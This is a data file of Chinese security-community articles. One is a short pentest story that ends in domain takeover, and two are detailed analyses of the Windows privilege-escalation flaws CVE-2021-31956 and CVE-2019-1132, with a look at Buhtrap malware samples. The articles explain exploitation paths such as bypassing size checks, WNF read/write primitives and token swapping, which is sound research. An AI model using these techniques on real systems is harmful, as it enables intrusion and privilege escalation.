text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
**直接切入正题**
Fofa搜索目标资产：host="xxx.xx"，发现一个网站，界面比较简单，可以进行注册。
注册之后，来到个人信息界面，这里尝试一下头像上传处，能否getshell。
没有对文件后缀做限制，直接上传成功。
之后我在网站后面跟admin，跳转到了后台管理页面，这里猜解了一下弱口令，直接进入了后台，还发现了一个可以从前台打一个存储XSS到后台留言信息处。
**CVE-2021-21972**
内网收集资产的时候，发现了VMware vSphere 6.5。
根据网上的资料，访问了以下路径：<https://xx.xx.xx.xx/ui/vropspluginui/rest/services/uploadova>
回显了405，漏洞存在，利用网上的EXP进行攻击，拿下shell。
**弱口令打到域控**
因为之间提权了服务器进入了内网，选择勇goby探测了一下内网的资产，发现存在大量的弱口令。选择了几台，登录上去浏览了相关信息。
发现其中一台存在一个远程登录信息，利用同样的密码尝试登录，直接登录成功，发现是域控。
**结语**
不存在什么高超的技术，都是人为的疏漏。 | 社区文章 |
**漏洞介绍**
CVE-2021-31956是发生在NTFS.sys中一个提权漏洞，漏洞的成因是因为整形溢出导致绕过条件判断导致的。最后利用起来完成Windows提权
**前置知识**
在此之前可以大致了解一下关于NTFS
NTFS是一个文件系统具备3个功能 错误预警功能，磁盘自我修复功能和日志功能
NTFS是一个日志文件系统，这意味着除了向磁盘中写入信息，该文件系统还会为所发生的所有改变保留一份日志
当用户将硬盘的一个分区格式化为NTFS分区时，就建立了一个NTFS文件系统。NTFS文件系统同FAT32文件系统一样，也是用簇为存储单位。
从微软的官方文档中可以搜索到关于NTFS volume每个属性的介绍。比如文件的数据是一个属性；数据属性：$Data , 类推关于此漏洞的关键扩展属性就是:
$EA
EA(Extended the attribute index)
漏洞点分析
首先这个函数可以通过ntoskrnl
系统调用来访问，此外还可以控制输出缓冲区的大小，如果扩展属性的大小没有对齐，此函数将计算下一个填充，下一个扩展属性将存储为32位对齐。（每个Ea块都应该被填充为32位对齐）
关于对齐的介绍于计算
(padding = ((ea_block_size + 3) & 0xFFFFFFFC) - ea_block_size )
涉及到一个4字节对齐的概念，这个在微软的官方文档也有提到的[官方文档](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-fscc/79dc1ea1-158c-4b24-b0e1-8c16c7e2af6b
"官方文档")
然后开始代码分析
恢复一下此函数卡巴斯基的文章也存在部分[参考](https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/ns-wdm-_file_full_ea_information "参考")
后边用到的结构体
typedef struct _FILE_FULL_EA_INFORMATION {
ULONG NextEntryOffset;//下一个同类型结构的偏移，若是左后一个为0
UCHAR Flags;
UCHAR EaNameLength;//eaname数组的长度
USHORT EaValueLength;//数组中每个ea值的长度
CHAR EaName[1];
} FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION;
typedef struct _FILE_GET_EA_INFORMATION {
ULONG NextEntryOffset;
UCHAR EaNameLength;
CHAR EaName[1];
} FILE_GET_EA_INFORMATION, * PFILE_GET_EA_INFORMATION;
进行函数的部分恢复，这样后续确认漏洞点的话就会比较明显
_QWORD *__fastcall NtfsQueryEaUserEaList(
_QWORD *a1,
FILE_FULL_EA_INFORMATION *eas_blocks_for_file,
__int64 a3,
__int64 User_Buffer,
unsigned int User_Buffer_Length,
FILE_GET_EA_INFORMATION *UserEaList,
char a7)
{
int v8; // edi
unsigned int v9; // ebx
unsigned int padding; // r15d
FILE_GET_EA_INFORMATION *GetEaInfo; // r12
ULONG NextEntryOffset; // r14d
unsigned __int8 EaNameLength; // r13
FILE_GET_EA_INFORMATION *i; // rbx
unsigned int v15; // ebx
_DWORD *out_buf_pos; // r13
unsigned int ea_block_size; // r14d
unsigned int v18; // ebx
FILE_FULL_EA_INFORMATION *ea_block; // rdx
char v21; // al
ULONG v22; // [rsp+20h] [rbp-38h]
unsigned int ea_block_pos; // [rsp+24h] [rbp-34h] BYREF
_DWORD *v24; // [rsp+28h] [rbp-30h]
struct _STRING DesEaName; // [rsp+30h] [rbp-28h] BYREF
STRING SourceString; // [rsp+40h] [rbp-18h] BYREF
unsigned int occupied_length; // [rsp+A0h] [rbp+48h]
v8 = 0;
*a1 = 0i64;
v24 = 0i64;
v9 = 0;
occupied_length = 0;
padding = 0;
a1[1] = 0i64;
while ( 1 )
{ // 创建一个索引放入ealist成员,后续循环取值
GetEaInfo = (FILE_GET_EA_INFORMATION *)((char *)UserEaList + v9);
*(_QWORD *)&DesEaName.Length = 0i64;
DesEaName.Buffer = 0i64;
*(_QWORD *)&SourceString.Length = 0i64;
SourceString.Buffer = 0i64;
DesEaName.Length = GetEaInfo->EaNameLength;
DesEaName.MaximumLength = DesEaName.Length;
DesEaName.Buffer = GetEaInfo->EaName;
RtlUpperString(&DesEaName, &DesEaName);
if ( !(unsigned __int8)NtfsIsEaNameValid(&DesEaName) )
break;
NextEntryOffset = GetEaInfo->NextEntryOffset;
EaNameLength = GetEaInfo->EaNameLength;
v22 = GetEaInfo->NextEntryOffset + v9;
for ( i = UserEaList; ; i = (FILE_GET_EA_INFORMATION *)((char *)i + i->NextEntryOffset) )
{
if ( i == GetEaInfo )
{
v15 = occupied_length;
out_buf_pos = (_DWORD *)(User_Buffer + padding + occupied_length);// // 分配的内核池
if ( (unsigned __int8)NtfsLocateEaByName(// 通过名字查找EA信息
eas_blocks_for_file,
*(unsigned int *)(a3 + 4),
&DesEaName,
&ea_block_pos) )
{
ea_block = (FILE_FULL_EA_INFORMATION *)((char *)eas_blocks_for_file + ea_block_pos);
ea_block_size = ea_block->EaValueLength + ea_block->EaNameLength + 9;
if ( ea_block_size <= User_Buffer_Length - padding )// 此处其实有个防止溢出的大小的检查
{
memmove(out_buf_pos, ea_block, ea_block_size);// 缓冲区溢出的漏洞点
*out_buf_pos = 0;
goto LABEL_8;
}
}
else
{
ea_block_size = GetEaInfo->EaNameLength + 9;// 通过名字没查到EA信息走的分支
if ( ea_block_size + padding <= User_Buffer_Length )
{
*out_buf_pos = 0;
*((_BYTE *)out_buf_pos + 4) = 0;
*((_BYTE *)out_buf_pos + 5) = GetEaInfo->EaNameLength;
*((_WORD *)out_buf_pos + 3) = 0;
memmove(out_buf_pos + 2, GetEaInfo->EaName, GetEaInfo->EaNameLength);
SourceString.Length = DesEaName.Length;
SourceString.MaximumLength = DesEaName.Length;
SourceString.Buffer = (PCHAR)(out_buf_pos + 2);
RtlUpperString(&SourceString, &SourceString);
v15 = occupied_length;
*((_BYTE *)out_buf_pos + GetEaInfo->EaNameLength + 8) = 0;
LABEL_8:
v18 = ea_block_size + padding + v15;
occupied_length = v18;
if ( !a7 )
{
if ( v24 )
*v24 = (_DWORD)out_buf_pos - (_DWORD)v24;
if ( GetEaInfo->NextEntryOffset )
{
v24 = out_buf_pos;
User_Buffer_Length -= ea_block_size + padding;
padding = ((ea_block_size + 3) & 0xFFFFFFFC) - ea_block_size;// padding对齐的计算
goto LABEL_26;
}
}
LABEL_12:
a1[1] = v18;
LABEL_13:
*(_DWORD *)a1 = v8;
return a1;
}
}
v21 = NtfsStatusDebugFlags;
a1[1] = 0i64;
if ( v21 )
NtfsStatusTraceAndDebugInternal(0i64, 2147483653i64, 919406i64);
v8 = -2147483643;
goto LABEL_13;
}
if ( EaNameLength == i->EaNameLength && !memcmp(GetEaInfo->EaName, i->EaName, EaNameLength) )
break;
}
if ( !NextEntryOffset )
{
v18 = occupied_length;
goto LABEL_12;
}
LABEL_26:
v9 = v22;
}
a1[1] = v9;
if ( NtfsStatusDebugFlags )
NtfsStatusTraceAndDebugInternal(0i64, 2147483667i64, 919230i64);
*(_DWORD *)a1 = -2147483629;
return a1;
}
恢复之后，直接根据卡巴文章中说的定位到漏洞点memmove
从图中可以很明显看见漏洞的触发点，NtfsQueryEaUserEaList 此函数在处理文件的扩展属性列表时，将其检索到的值存储到了缓冲区内
然后代码检查输出缓冲区是否足够长，以满足扩展属性的填充，但它没有检测整数下溢。结果就导致了堆上缓冲区的溢出的发生。
漏洞的触发点是memmove这块，其实就是绕过了代码针对于ea_block_size的检查
ea_block_size <= User_Buffer_Length - padding
，这段虽然考虑到常见的溢出检查，检查了大小的边界，但是忘记考虑三个参数都是uit32无符号整数的这就导致无符号整数的作差的结果会绕过这个条件判断。
那么三个参数是如何来的，哪一个是用户态可控的，因为如果ea_block_size可控且User_Buffer_Length可控为0就可以轻松绕过检查，ea_block_size还可以正好导致溢出发生。
NtfsQueryEaUserEaList函数大致会做循环遍历文件的每个NTFS扩展属性（Ea-Extended the attribute
index）然后从ea_block复制出来这些buffer到缓冲区 （ea_block_size的值）
ea_block_size的值又是由ea_block决定的(ea_block->EaValueLength + ea_block->EaNameLength
+ 9）
其实最后就是绕过这个检查 具体绕过思考
参考与ncc的计算方法，用数学公式表达一下方便(注:以下是根据代码转换成数学公式,只是个人觉得这么理解第一次比较好理解哈)
ea_block_size <= User_Buffer_Length - padding 上边说过是绕过这个条件判断的检查
首先假设几个值
EaNameLength = x ,EaValueLength = y ,ea_block_size = z ,padding就是padding本身,User_Buffer_Length = f
那么首先能根据代码确定几个式子 z = x + y + 9 , 判断条件为 z <= f - padding
首先开始第一次循环从数组里取值
假设x = 5 ,y = 4 , 所以z = 5 + 4 + 9 = 18 ,padding = 0
此时如果 设其值为30(User_Buffer_Length -= ea_block_size + padding)
那么f = 30 - z + 0 = 12
然后计算padding = ((z + 3)& 0xFFFFFFFC) - z = 2
第二次从扩展属性取值,依旧 x = 5, y =4 ,z = 5 + 4 + 9=18
此时padding为2 f = 12那么 18 <= 12 - 2 这个条件不成立,这是正常的想进行溢出的流程
这是假设其值为30的情况也就是f稍大于z的情况,那么我们假设的值不是30是18呢
再来一遍
第一次循环取值 x = 5,y = 4 , z = 5 + 4 + 9 =18 不变,padding 依旧是0
18 <= 18 - 0这时候此时条件是满足,接着往下进行
设其值为18
(User_Buffer_Length -= ea_block_size + padding)
那么f = 18 - 18 + 0 =0 ,padding计算不变 因为觉得padding的值 z 并没有变化
padding = ((z + 3)& 0xFFFFFFFC) - z = 2
我们第二次扩展 x = 5 , y = 99 , z = 5 + 99 + 9 = 113
z <= f - padding 也就是 113 <= 0 - 2 ,因为是无符号整数,最后-2就会导致整数溢出
从而绕过了这个条件那么超出的大小就会被覆盖到相邻的内存导致溢出
代码中其实可以看见其会不断遍历ea_block数组里边的值，然后再根据FILE_GET_EA_INFORMATION
获取到文件里的EA信息，通过上述的分析我们已经知道如何过掉溢出的检查了
再来跟进一下后续的内存拷贝过程，发现函数其目的地址由参数传入于是查看引用，该参数是在NtfsCommonQueryEa函数中分配的内核池
NtfsCommonQueryEa -->ExAllocatePoolWithTag
分配的池空间PoolWithTag 到 NtfsQueryEaUserEaList -->User_Buffer --> out_buf_pos
最后memmove触发
**漏洞触发利用**
了解了漏洞触发点之后，下一步就是验证。
首先需要创建一个文件然后添加EA拓展属性 =>NtSetEaFile
该函数的第3个参数是一个FILE_FULL_EA_INFORMATION结构的缓冲区，用来指定Ea属性的值。所以我们可以利用EA属性来构造PAYLOAD，
然后使用NtQueryEaFile函数来触发[NtQueryEaFile](https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-zwqueryeafile "NtQueryEaFile")
查询一下能对EA 扩展属性进行操作的api
记一下这两个 ZwQueryEaFile , ZwSetEaFile 分别对应 NtSetEaFile , NtQueryEaFile
NTSTATUS ZwQueryEaFile(
[in] HANDLE FileHandle, //文件句柄
[out] PIO_STATUS_BLOCK IoStatusBlock,
[out] PVOID Buffer, //扩展属性缓冲区（FILE_FULL_EA_INFORMATION结构）
[in] ULONG Length, //缓冲区大小
[in] BOOLEAN ReturnSingleEntry,
[in, optional] PVOID EaList, //指定需要查询的扩展属性
[in] ULONG EaListLength,
[in, optional] PULONG EaIndex, //指定需要查询的起始索引
[in] BOOLEAN RestartScan
);
NTSTATUS ZwSetEaFile(
[in] HANDLE FileHandle,
[out] PIO_STATUS_BLOCK IoStatusBlock,
[in] PVOID Buffer,
[in] ULONG Length,
);
ZwQueryEaFile 中的 Buffer 来源性如下图所示
然后分别进行Set与Query的调用来进行漏洞利用
CVE-2021-31956 漏洞利用是通过Windows Notification Facility(WNF)来实现任意内存读写原语。
WNF
是一个通知系统在整个系统中的主要任务就是用于通知，相当于通知中心。它可以在内核模式中使用，也可以在用户态被调用[WNF](https://blog.quarkslab.com/playing-with-the-windows-notification-facility-wnf.html "WNF")
我们要明白上述的输出缓冲区buffer是从用户空间传入的，同时传入的还有这个缓冲区的长度。这意味着我们最终会根据缓冲区的大小控制内核空间的大小分配，触发漏洞的话还需要触发如上所述的溢出。
我们需要进行堆喷在内核进行我们想要的堆布局。
**利用手法是WNF**
WNF_STATE_DATA //用户可以定义的
NtCreateWnfStateName //创建WNF对象实例=>WNF_NAME_INSTANCE
NtUpdateWnfStateData //写入数据存放在WNF_STATE_DATA
NtQueryWnfStateData //读取写入的数据
NtDeleteWnfStateData //释放Create创建的对象
**有限的地址读写**
所以首先要通过NtCreateWnfStateName创建一个WNF对象实例
要利用漏洞溢出点Ntfs喷出来的堆块去覆盖WNF_STATE_DATA中的DataSize成员和AllocateSize成员。
然后可以利用NtQueryWnfStateData去进行读取，NtUpdateWnfStateData
去进行修改相邻WNF_NAME_INSTANCE数据，但是此时这里完成的有限的地址读写。
**任意地址读写**
利用相对内存写修改邻近的 WNF_NAME_INSTANCE结构的
StateData指针为任意内存地址，然后就可以通过NtQueryWnfStateData,NtUpdateWnfStateData来实现任意地址读写了。
最后可以通过NtDeleteWnfStateData可以释放掉这个对象。
**提权**
已经有了任意地址读写，然后就可以读取去遍历进程链表找到System进程
找到System进程后，接着去读取高进程的token，最后利用内存写，修改当前进程的token替换成我们读取到的System进程的token完成提权。效果如下 | 社区文章 |
# Buhtrap CVE-2019-1132攻击事件相关漏洞样本分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 综述
2019年7月10日，在微软7月补丁发放的第一天，eset发布文章“windows-zero-day-cve-2019-1132-exploit”披露了APT团伙buhtrap使用windows 0day
CVE-2019-1132进行攻击的一次在野活动，之后SHIVAM
TRIVEDI于7月25对外放出了该漏洞相关的exp利用，本文针对该漏洞及buhtrap攻击使用的样本进行分析，以便于大众了解buhtrap这个在国内鲜为人知的APT团伙。
Buhtrap是一个常年针对俄罗斯金融企业相关的攻击团伙，其2014年就开始了相关的活动，而这也是buhtrap的第一次0day攻击活动，但是实际上早在2016年3月GROUP
IB就针对buhtrap发布了文章“BUTHRAP The evolution of targeted attacks against financial
institutions”，如下图所示就是GROUP IB总结的Buhtrap在2014年，2015年两年内的战绩。
## 漏洞部分
该部分使用SHIVAM TRIVEDI分享的相关exp代码，感谢SHIVAM TRIVEDI的分享。
### 分析
编译对应exp，运行之后效果如下所示，获得了一个管理员权限的shell。
利用代码的主函数中一开始创建了三个menu菜单，并通过AppendMenuA创建对应下拉子菜单，然后创建两个窗口，一个为主窗口，一个用于辅助后续利用的hunt窗口。
之后分别设置消息hook和事件hook函数。
在消息hook回调函数中监控对应的WM_NCCREATE消息，当监控到对应的消息时，通过SendMessage针对指定的menu发送MN_CANCELMENUS消息，该消息会取消对应的菜单。
在事件hook回调函数中，首先保存所有触发菜单的hwnd到hwndMenuList中，并发送MN_OPENHIERARCHY消息，该消息将导致打开对应的子菜单。
之后对第一个hMenuList[0]菜单调用函数TrackPopupMenuEx，用于弹出显示该菜单，调用完成之后将导致hMenuList[0]子菜单hMenuList[1]的ppopupmenuRoot被设置为null，之后设置0地址，将偏移0x1c的位置设置为hunt窗口的内核地址+0x12，hunt窗口的内核地址通过xxHMValidateHandle的方式获取，该内核地址泄露的方式在win10
rs4之后被微软修复。
这里一个最大的疑问就在于为什么TrackPopupMenuEx函数执行之后，对应的hMenuList[1]中的ppopupmenuRoot会被设置为null。
在解决这个问题前，我们需要对windows中的菜单对象有所了解，其中涉及到的内容主要包括：菜单对象，菜单层叠窗口对象和弹出菜单对象，菜单状态对象（以下几个菜单相关对象主要来自于小刀子同学之前的文章，文章对菜单对象分析得很详细，感兴趣的同学可以看看，见参考链接2）
菜单对象：菜单对象是菜单的实体，在内核中以结构体tagMENU的形式存在，用于描述菜单实体的菜单项，项数，大小等静态信息，但本身并不负责菜单在屏幕中的显示，通过用户调用CreateMenu函数时在内核中创建，通过函数DsetroyMenu调用或进程结束时销毁。
菜单层叠窗口对象（以下简称菜单窗口对象）：菜单窗口对象是窗口结构体tagWND对象的特殊类型，当需要在屏幕中的显示某个菜单时，如通过窗口区域右键鼠标，内核中将调用相关的服务函数根据目标菜单对象创建对应类型为MENUCLASS的菜单窗口对象，其主要负责描述菜单在屏幕中的显示位置，样式等动态信息，其扩展区域关联对应的弹出菜单对象。
弹出菜单对象:弹出菜单对象为菜单窗口对象的扩展对象，用来描述其所代表的菜单的弹出状态，以及菜单窗口对象，菜单对象，子菜单或父菜单的菜单窗口对象等用户对象的相互关系。
当某个菜单在屏幕中弹出，菜单窗口对象和关联的弹出菜单对象被创建，
菜单状态对象:该结构体用来存储和当前活跃菜单状态相关的详细信息，包括上下文菜单弹出坐标，关联的位图表面对象的指针，窗口设备上下文对象，之前的上下文菜单结构体的指针，及其他一些成员域。
菜单窗口对象实际是tagWND对象的特殊类型，其中比较重要的是偏移0x14处的bServerSideWindowProc，该字段用于标记对应的窗口对象是否在内核态执行，如果能修改该标记位，即能实现让我们的窗口对应的回调处于内核态的执行权限，从而实现提权（类似的提取方式在CVE-2019-0808，CVE-2017-0263种都被使用），其偏移0xB0的位置为WndExtra
Data Section，在这里指向了对应关联的弹出菜单对象。
弹出菜单对象如下所示，其中偏移0x20
ppopupmenuRoot标记了第一个弹出菜单对象，如第一个菜单对象的ppopupmenuRoot就是自身，这也是漏洞中被设置为null的位置。
偏移0x24的位置为ppmDelayedFree，该成员域用来将所有被标记为延迟释放状态的弹出菜单对象连接起来，以便在菜单的弹出状态终止时将所有弹出菜单对象统一销毁，根弹出菜单对象的ppmDelayedFree作为链表的入口，即第一个节点。
菜单状态对象偏移0处的pGlobalPopupMenu指向对应的弹出菜单对象。
如下图所示漏洞代码中第一个菜单的弹出菜单对象如下所示，该弹出菜单对象的地址为0xfd78d628，其ppopupmenuRoot指向向了自身，同样为0xfd78d628.
第二个菜单对象关联的弹出菜单对象为0xfd6f3a68，其ppopupmenuRoot就指向了第一个菜单的弹出菜单对象。
漏洞利用中通过函数来TrackPopupMenuEx弹出hMenuList[0]菜单，TrackPopupMenuEx在内核中通过xxxTrackPopupMenuEx实现，xxxTrackPopupMenuEx首先通过xxxCreateWindowEx创建对应的菜单窗口对象tagMENUWND[0]。其中弹出菜单对象也会伴随着一起生成。xxxCreateWindowEx中会发送对应的WM_NCCREATE，并被我们的hook回调捕获。
xxxCreateWindowEx之后，通过菜单窗口对象获取对应的弹出菜单对象，在偏移0xB0的位置，并设置对应的弹出菜单对象中的值，如下图中就设置该弹出菜单对象的ppopupmenuRoot，之后通过xxxMNAllocMenuState创建对一个对应的菜单状态对象。
xxxMNAllocMenuState中将弹出菜单对象设置到菜单状态对象偏移为0x0的位置。
之后xxxWindowEvent(6, v51, -4, 0,
0);发送事件EVENT_SYSTEM_MENUPOPUPSTART，该事件会被我们的事件hook捕获。
这里需要注意xxxWindowEvent发送事件EVENT_SYSTEM_MENUPOPUPSTART之后才进入到
xxxMNLoop函数中，该函数可以理解会对应菜单的消息循环处理函数，因此之后我们在菜单窗口对象创建时发送的WM_NCCREATE被应用层hook捕获时，应用层发送的MN_CANCELMENUS还没有被处理，其会在xxxMNLoop中被处理。当所有菜单消息处理之后，xxxMNLoop结束才会运行之后的xxxUnlockMenuState。
前面提到当菜单窗口对象创建的时候，会发送对WM_NCCREATE，并被我们的hook回调捕获，在回调中判断对应的消息是否为WM_NCCREATE，并确保hMenuList[0]菜单生成，且hMenuList[1]菜单没有生产，如果条件满足，则向hMenuList[0]菜单发送MN_CANCELMENUS，这里的bEnterEvent变量需要在第一个事件回调函数中才会被设置为true，因为当事件回调触发时才表明xxxWindowEvent发送事件EVENT_SYSTEM_MENUPOPUPSTART，对应的菜单窗口对应已经创建。
该消息最终通过win32k!xxxMenuWindowProc派发给hMenuList[0]菜单，其在内核中通过xxxRealMenuWindowProc派发到xxxMNCancel处理
xxxMNCancel函数首先设置hMenuList[0]的弹出菜单对象fDestroyed字段，并调用函数xxxMNCloseHierarchy。
函数xxxMNCloseHierarchy中首先判断fHierarchyDropped的值，该字段标记当前菜单对象已弹出子菜单，由于我们xxxMNCancel时对应的子菜单hMenuList[1]还没有创建，从而确保对应的这个字段的判断并不成立，从而直接跳过判断，如果在判断成立的情况下将会获取hMenuList[0]对应弹出菜单对象偏移0x1c处的spwndNextPopup，该变量指向下一个弹出菜单对象（如果hMenuList[1]创建的话就是hMenuList[1]的弹出菜单对象，但是这里没有），并发送MN_CLOSEHIERARCHY消息，而我们这里直接跳过了。
xxxTrackPopupMenuEx尾部通过xxxWindowEvent(6, v51, -4, 0,
0);发送了事件EVENT_SYSTEM_MENUPOPUPSTART，这将被我们的事件hook回调捕获。
在事件回调中我们向hMenuList[0]发送MN_SELECTITEM，MN_SELECTFIRSTVALIDITEM
MN_OPENHIERARCHY消息，MN_SELECTITEM，MN_SELECTFIRSTVALIDITEM会导致最终选中hMenuList[0]的下一个菜单hMenuList[1]，之后通过MN_OPENHIERARCHY将打开对应的菜单窗口，即hMenuList[1]。
MN_OPENHIERARCHY消息在内核中最终通过xxxRealMenuWindowProc派发给函数
xxxMNOpenHierarchy。
xxxMNOpenHierarchy同样通过xxxCreateWindowEx创建hMenuList[1]的菜单窗口对象。
获取hMenuList[1]的弹出菜单对象，并设置相关字段，这里需要注意的是该弹出菜单对象被设置到对应ppopupmenuRoot的弹出菜单对象的ppmDelayedFree链表中，而这里ppopupmenuRoot就是hMenuList[0]的弹出菜单对象，也就是对应的hMenuList[0]的弹出菜单对象的ppmDelayedFree的第一个节点指向了hMenuList[1]的弹出菜单对象
之后调用函数HMAssignmentLock
此时第一次针对hMenuList[0]的xxxTrackPopupMenuEx函数执行到尾部的xxxUnlockMenuState，其参数为对应的hMenuList[0]的菜单状态结构，菜单状态结构偏移0x0的位置指向了hMenuList[0]的弹出菜单对象。
xxxUnlockMenuState经过一系列调用，最终执行到MNFlushDestroyedPopups，MNFlushDestroyedPopups中通过传入的hMenuList[0]的弹出菜单对象获取对应的ppmDelayedFree链表，并循环遍历，如上所述该链表中保存了对应的子菜单的弹出菜单对象，之后判断遍历的弹出菜单对象fDestroyed是否设置（这里ppmDelayedFree链表的第一个节点就是hMenuList[1]的弹出菜单对象），这里需要注意的是由于我们之前在xxxMNCancel函数时，xxxMNCloseHierarchy中处理hMenuList[0]时，由于对应的fHierarchyDropped字段没有设置，当时hMenuList[1]子菜单还没有创建，因此跳过了其中的if语句，因此没有向对应的子菜单发送MN_CLOSEHIERARCHY，因此我们的hMenuList[1]弹出菜单对象fDestroyed是没有设置的，因此并没有执行下图中的if语句，而是进入了else
if，在其中直接将对应的popumenuroot设置为了null，从而导致hMenuList[1]菜单的弹出菜单对象中的popumenuroot为空。
此时当我们通过hMenuList[1]调用TrackPopupMenuEx时，最终同样会进入到xxxMNOpenHierarchy，过程和第一次一致。
xxxMNOpenHierarchy中最后调用到函数HMAssignmentLock，此时第一个参数会获取hMenuList[1]弹出菜单对象的ppopupmenuRoot，由于之前第一次TrackPopupMenuEx调用已经将hMenuList[1]弹出菜单对象的ppopupmenuRoot设置为null，因此这里传入的值其实为0x1c的值，因此上述代码中通过设置null地址将0x1c的位置设置为hunt窗口对象偏移加0x12的位置，注意这里并不是直接设置为对应bServerSideWindowProc的偏移0x18，是因为后续利用处还有一个+4的操作。
如下所示传入的0x1c处的值最终被函数HMUnlockObject使用，使其+4并进行dec的操作，将导致bServerSideWindowProc位设置
一旦hunt窗口的bServerSideWindowProc被设置，此时我们相当于使用内核态执行对应的应用层hunt回调，在对应回调中执行shellcode，来替换对应的进程令牌，实现权限提升。
整个过程如下所示，简单来说就是在根菜单xxxTrackPopupMenuEx调用时，通过hook，在根菜单生成，子菜单未生成时的WM_NCCREATE消息中取消根菜单，之后在xxxTrackPopupMenuEx发送EVENT_SYSTEM_MENUPOPUPSTART事件时，通过hook
发送消息MN_SELECTITEM MN_SELECTFIRSTVALIDITEM
MN_OPENHIERARCHY，迫使根菜单弹出子菜单，导致xxxMNOpenHierarchy调用，生成子菜单的弹出菜单对象，并链入到对应的根菜单的ppmDelayedFree链表中。根菜单xxxTrackPopupMenuEx最后调用xxxMNEndMenuState，遍历ppmDelayedFree，由于取消根菜单时，子菜单没有创建，对应的fDestroyed没有设置，最终只是将子菜单的弹出菜单对象的ppopupmenuRoot字段设置为null，从而导致之后的null地址利用。
这里一个需要注意的就是第一次hMenuList[0]菜单对象调用TrackPopupMenuEx时，我们在hook消息和事件的过程中几个重要消息的先后顺序：
1. xxxCreateWindowEx调用创建菜单窗口对象，发送WM_NCCREATE到应用层，被我们的消息回调捕获，回调中向hMenuList[0]菜单对象发送MN_CANCELMENUS消息。
2. xxxWindowEvent(6, v51, -4, 0, 0)发送EVENT_SYSTEM_MENUPOPUPSTART事件，被我们的事件回调捕获，回调中向hMenuList[0]菜单对象发送
MN_SELECTITEM/MN_SELECTFIRSTVALIDITEM/MN_OPENHIERARCHY
3. hMenuList[0]菜单对象xxxMNLoop消息循环启动，以此处理收到的消息，首先是MN_CANCELMENUS，导致hMenuList[0]菜单对象取消，之后
MN_SELECTITEM/MN_SELECTFIRSTVALIDITEM/MN_OPENHIERARCHY导致针对hMenuList[1]处理消息MN_OPENHIERARCHY
4. hMenuList[0]菜单对象取消后导致xxxMNLoop处理完消息后结束，执行xxxUnlockMenuState，最终hMenuList[1]弹出菜单对象ppopupmenuRoot被设置为null。
### 调试
如下所示hMenuList[0]调用xxxTrackPopupMenuEx，对应的tagPOPOUPMENU弹出窗口对象为0xfe7034a8，此时fDesktroyed没有被设置。
WM_NCCREATE被应用层hook代码捕获，并对该菜单发送了MN_CANCELMENUS，导致进入xxxMNCancel
xxxMNCancel之前，对应的hMenuList[0] tagPOPOUPMENU fDestroyed字段。
执行之后，hMenuList[0] tagPOPOUPMENU fDestroyed字段被设置。
xxxTrackPopupMenuEx继续执行，xxxWindowEvent(6, v51, -4, 0,
0)发送EVENT_SYSTEM_MENUPOPUPSTART事件，被我们设置的事件hook捕获，并针对hMenuList[0]菜单发送MN_OPENHIERARCHY，进入函数xxxMNOpenHierarchy，在xxxMNOpenHierarchy中创建hMenuList[1]对应的tagMENUWND/tagPOPUPMENU。
hMenuList[1] 的tagPOPUPMENU如下所示
hMenuList[1] 的tagPOPUPMENU ppopupmenuRoot 字段首先被设置为 hMenuList[0]
tagPOPUPMENU，同时hMenuList[1] tagPOPUPMENU被链入到hMenuList[0] tagPOPUPMENU
的ppmDelayedFree中。
xxxTrackPopupMenuEx继续向下执行，xxxUnlockMenuState中，hMenuList[0]
tagMENUWND遍历ppmDelayedFree，ppmDelayedFree保存了hMenuList[1]
tagPOPUPMENU，由于对应的fDestroyed没有设置，因此直接将hMenuList[1]
tagPOPUPMENU的ppopupmenuRoot置null。
对应的函数调用如下所示
之后通过hMenuList[1]调用xxxTrackPopupMenuEx，最终在函数HMAssignmentLock中，如下所示hMenuList[1]
tagPOPUPMENU 的ppopupmenuRoot字段为0，最终会将0x1c处的值作为第一个参数传入
而0x1c处的值被我们设置为了hunt窗口对象+0x12的位置，我们的目标是最终设置bServerSideWindowProc的值
最终进入函数HMUnlockObject，可以看到第一个参数就是我在0x1c位置布置的hunt tagWnd+0x12.
此时将tagWnd+0x12的地址+4，并将地址中对应的值减一，这将导致0x18处的bServerSideWindowProc值被设置。
减一之后。
可以看到此时hunt tagWnd对象的bServerSideWindowProc字段已经被设置。
此时向hunt窗口发送指定消息，触发shellcode执行并替换进程令牌以实现越权。
这里有一个疑问，就是如果使用我之前的老版本的win7测试，发现漏洞并不能触发，看了下代码发现老版本的win32k.sys驱动中的xxxTrackPopupMenuEx函数中，并没有调用xxxUnlockMenuState导致。
可以看到对应的tagPOPUPMENU并没有设置为null。
但是这并不是意味着老版本的win32k中没有xxxUnlockMenuState，实际上只是在xxxTrackPopupMenuEx中没有调用而已.
### 补丁对比
微软的补丁修改中直接将xxxMNOpenHierarchy中HMAssignmentLock触发函数前设置了null监控，防止传入对应null地址。
## 恶意代码部分
Eset在其文章中给出两个该组织投递的恶意样本，具体的md5如下，虽然这两个攻击样本都不是0day事件中使用的样本，但是eset的文章中提到攻击中使用的手法是一致的，因此从这些样本中我们能看看这个团伙在攻击中使用样本的一些特点。
b54b618a9a6abd879e6703a9a4a53e94
f36fe1716c9e38fa39186b63339ebee6
### b54b618a9a6abd879e6703a9a4a53e94
该样本打开之后如下所示：
点击确认宏运行之后，真正的载荷如下所示
可以看到是企业合同相关的内容。
Vbs恶意代码会将对应的恶意exe及实际诱饵文档拷贝到office目录下，如下图所示诱饵文档为myfile.rtf。
对应的恶意exe伪装为putty程序。
实际的诱饵和恶意exe是写到控件中的。
如下所示，释放到office目录下的诱饵和恶意exe。
该putty实际上是通过nsis打包的安装文件，通过7zip打开如下所示：
$0：实际的恶意代码
$PLUGINSIDR:辅助nsis脚本的插件，实际就是一个写好的dll
[NSIS].nsi:具体的nsis脚本
可以看到nsis是windows下安装程序的制作程序，需要注意的是nsis中是通过脚本语言来描述安装程序的行为和逻辑的，这就给了攻击者很大的操作空间，我们可以在第二个样本中看到。
该样本的nsis脚本很简单，一开始通过HideWindow字段标记该次安装为隐藏安装，之后调用fun_3，fun_3将压缩包中$0目录下的文件释放到指定目录，通过插件CreateMutex创建互斥量38A81F7C-266A-4509-82E2-34C6E0956EF7，最后调用fun_0.
fun_0中将avz.exe设置开机启动，并运行。
释放的恶意代码目录如下：
